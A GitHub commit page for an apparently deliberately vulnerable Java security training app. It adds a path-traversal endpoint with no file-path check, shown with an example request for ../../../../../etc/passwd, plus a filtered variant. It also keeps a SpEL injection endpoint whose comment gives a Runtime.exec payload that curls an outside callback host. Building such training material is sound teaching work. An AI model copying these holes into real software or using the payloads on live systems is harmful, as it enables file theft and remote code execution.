Skip to content

Commit 720da39

Browse files
committed
add pathTraversal
1 parent a2a5eee commit 720da39

File tree

8 files changed

+122
-21
lines changed

8 files changed

+122
-21
lines changed

README.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ Sort by letter.
7575

7676
## How to run
7777

78-
The application will use mybatis auto-injection. Please run mysql ahead of time and configure the mysql database.
78+
The application will use mybatis auto-injection. Please run mysql server ahead of time and configure the mysql server database's name and username/password.
7979

8080
```
8181
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code
@@ -153,6 +153,10 @@ Build package and run.
153153
mvn clean package -DskipTests
154154
java -jar target/java-sec-code-1.0.0.jar
155155
```
156+
## Contributors
157+
158+
Core developers : [JoyChou](https://github.com/JoyChou93).
159+
Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95).
156160

157161

158162
## Donate

README_zh.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会
7272

7373
## 如何运行
7474

75-
应用会用到mybatis自动注入,请提前运行mysql,并且进行mysql数据库配置
75+
应用会用到mybatis自动注入,请提前运行mysql服务,并且配置mysql服务的数据库名称和用户名密码
7676

7777
```
7878
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code
@@ -136,6 +136,10 @@ mvn clean package -DskipTests
136136
java -jar 打包后的jar包路径
137137
```
138138

139+
## 贡献者
140+
141+
核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。
142+
139143
## 捐赠
140144

141145
如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。

pom.xml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,11 @@
99
<version>1.0.0</version>
1010
<packaging>war</packaging>
1111

12+
<properties>
13+
<maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
14+
<maven.compiler.target>1.8</maven.compiler.target>
15+
</properties>
16+
1217

1318
<parent>
1419
<groupId>org.springframework.boot</groupId>
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
package org.joychou.controller;
2+
3+
import org.apache.commons.codec.binary.Base64;
4+
import org.joychou.security.SecurityUtil;
5+
import org.slf4j.Logger;
6+
import org.slf4j.LoggerFactory;
7+
import org.springframework.web.bind.annotation.GetMapping;
8+
import org.springframework.web.bind.annotation.RestController;
9+
10+
import java.io.File;
11+
import java.io.IOException;
12+
import java.nio.charset.StandardCharsets;
13+
import java.nio.file.Files;
14+
import java.nio.file.Paths;
15+
16+
@RestController
17+
public class PathTraversal {
18+
19+
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
20+
21+
/**
22+
* http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
23+
*/
24+
@GetMapping("/path_traversal/vul")
25+
public String getImage(String filepath) throws IOException {
26+
return getImgBase64(filepath);
27+
}
28+
29+
@GetMapping("/path_traversal/sec")
30+
public String getImageSec(String filepath) throws IOException {
31+
if (SecurityUtil.pathFilter(filepath) == null) {
32+
logger.info("Illegal file path: " + filepath);
33+
return "Bad boy. Illegal file path.";
34+
}
35+
return getImgBase64(filepath);
36+
}
37+
38+
private String getImgBase64(String imgFile) throws IOException {
39+
40+
logger.info("Working directory: " + System.getProperty("user.dir"));
41+
logger.info("File path: " + imgFile);
42+
43+
File f = new File(imgFile);
44+
if(f.exists() && !f.isDirectory()) {
45+
byte[] data = Files.readAllBytes( Paths.get(imgFile) );
46+
return new String( Base64.encodeBase64(data) );
47+
} else {
48+
return "File doesn't exist or is not a file.";
49+
}
50+
}
51+
52+
public static void main(String[] argv) throws IOException {
53+
String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8);
54+
System.out.println(aa);
55+
}
56+
}

src/main/java/org/joychou/controller/SSRF.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,6 @@
3131
* @desc Java ssrf vuls code.
3232
*/
3333

34-
3534
@Controller
3635
@RequestMapping("/ssrf")
3736
public class SSRF {

src/main/java/org/joychou/controller/SPEL.java renamed to src/main/java/org/joychou/controller/SpEL.java

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,30 @@
11
package org.joychou.controller;
22

3+
import org.springframework.expression.EvaluationContext;
34
import org.springframework.expression.ExpressionParser;
45
import org.springframework.expression.spel.standard.SpelExpressionParser;
5-
import org.springframework.stereotype.Controller;
66
import org.springframework.web.bind.annotation.RequestMapping;
7-
import org.springframework.web.bind.annotation.ResponseBody;
8-
import javax.servlet.http.HttpServletRequest;
7+
import org.springframework.web.bind.annotation.RestController;
8+
99

1010
/**
11-
@author JoyChou ([email protected])
12-
@date 2019.01.17
13-
@esc SPEL leas to RCE
14-
@usage http://localhost:8080/spel/rce?expression=xxx. xxx is urlencode(exp)
15-
@exp T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
11+
* SpEL Injection
12+
*
13+
* @author JoyChou @2019-01-17
1614
*/
15+
@RestController
16+
public class SpEL {
1717

18-
@Controller
19-
@RequestMapping("/spel")
20-
public class SPEL {
21-
22-
@RequestMapping("/rce")
23-
@ResponseBody
24-
private static String rce(HttpServletRequest request) {
25-
String expression = request.getParameter("expression");
18+
/**
19+
* SPEL to RCE
20+
* http://localhost:8080/spel/vul/?expression=xxx.
21+
* xxx is urlencode(exp)
22+
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
23+
*/
24+
@RequestMapping("/spel/vul")
25+
private static String rce(String expression) {
2626
ExpressionParser parser = new SpelExpressionParser();
27+
// fix method: SimpleEvaluationContext
2728
String result = parser.parseExpression(expression).getValue().toString();
2829
return result;
2930
}

src/main/java/org/joychou/security/SecurityUtil.java

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,15 @@
11
package org.joychou.security;
22

3+
import org.slf4j.Logger;
4+
import org.slf4j.LoggerFactory;
5+
6+
import java.io.UnsupportedEncodingException;
37
import java.net.URI;
8+
import java.net.URLDecoder;
49

510
public class SecurityUtil {
611

12+
protected static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
713
/**
814
* 通过endsWith判断URL是否合法
915
*
@@ -72,4 +78,32 @@ public static boolean checkSSRFByHostWlist(String url, String[] hostWlist) {
7278
return checkURLbyEndsWith(url, hostWlist);
7379
}
7480

81+
/**
82+
* Filter file path to prevent path traversal vulns.
83+
*
84+
* @param filepath file path
85+
* @return illegal file path return null
86+
*/
87+
public static String pathFilter(String filepath) {
88+
String temp = filepath;
89+
90+
// use while to sovle multi urlencode
91+
while (temp.indexOf('%') != -1) {
92+
try {
93+
temp = URLDecoder.decode(temp, "utf-8");
94+
} catch (UnsupportedEncodingException e) {
95+
logger.info("Unsupported encoding exception: " + filepath);
96+
return null;
97+
} catch (Exception e) {
98+
logger.info(e.toString());
99+
return null;
100+
}
101+
}
102+
103+
if (temp.indexOf("..") != -1 || temp.charAt(0) == '/') {
104+
return null;
105+
}
106+
107+
return filepath;
108+
}
75109
}

src/main/resources/templates/index.html

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,5 @@
88
<p>Hello <span th:text="${user}"></span>.</p>
99
<p>Welcome to login java-sec-code application.</p>
1010
<a th:href="@{/logout}">logout</a>
11-
12-
<p></p>
1311
</body>
1412
</html>

0 commit comments

Comments
 (0)